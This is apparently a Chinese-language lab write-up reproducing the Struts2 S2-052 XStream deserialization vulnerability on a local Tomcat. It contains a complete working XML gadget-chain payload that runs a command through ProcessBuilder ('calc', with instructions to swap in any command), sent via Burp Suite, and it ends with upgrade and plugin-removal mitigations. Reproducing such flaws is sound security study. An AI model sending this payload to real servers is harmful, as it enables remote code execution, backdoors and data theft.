struts2-052漏洞

0x00 struts2

struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。

0x01 struts2-052漏洞

struts2-052漏洞触发点是REST插件在解析请求中的xml文件时,调用了XStreamHandler,传入的数据会被默认进行反序列化,如果当传入的xml是个经过XStream序列化的恶意对象时,便造成反序列化漏洞,构成远程代码执行。

0x02 环境搭建

这次漏洞使用windows系统做测试对象。

下载java并配置环境:

  • 在java官网下载java1.8

  • 然后添加到windows环境变量

下载tomcat并配置环境:

  • 在tomcat官网下载tomcat并解压
  • 然后添加到windows环境变量

下载存在漏洞的struts2框架版本:

http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip 下载漏洞影响的最后版本2.5.12
解压后将struts2-rest-showcase.war复制到tomcat的webapps的目录下

更改/tomcat/conf中的server.xml,默认是8080,如果冲突我们可以将端口号更改到空闲端口,这里改到了12345

打开/tomcat/bin中的startup.bat,并通过浏览器访问页面。

0x03 payload生成

若本机拥有git环境,则使用
git clone https://github.com/mbechler/marshalsec.git
然后参考 https://github.com/mbechler/marshalsec.git 中的使用方法
来生成payload
如果没有,可以在网络中查找一段windows的payload,并将此段代码中command标签中的内容更改成想在cmd中执行的命令,这里使用了calc

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>calc</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

具体构造命令时,某些字符无法直接输入,关于这部分的构造方法在 http://www.freebuf.com/vuls/147017.html

0x04 使用burpsuite进行截包重发

将burpsuite中的监听设置成127.0.0.1:8082

将浏览器的代理设置成手动代理,ip和端口号与burpsuite中设置相同

然后用浏览器访问 http://localhost:12345/struts2-rest-showcase

然后利用brupsuite截断一次提交的数据

将content-type改成application/xml,将body部分数据改为之前写好的payload

然后提交,成功弹出本机计算器

0x05 使用openvas对该存在漏洞的系统进行扫描

扫描结果如下:

0x06 危害

入侵者可以直接通过提交数据包对服务器进行操作,可以远程执行代码随意查看服务器内容,还可以通过命令写入木马、创建用户、留下后门。

0x07 应对方案

  • 升级Struts到2.5.13最新版本
  • 在不使用时删除Struts REST插件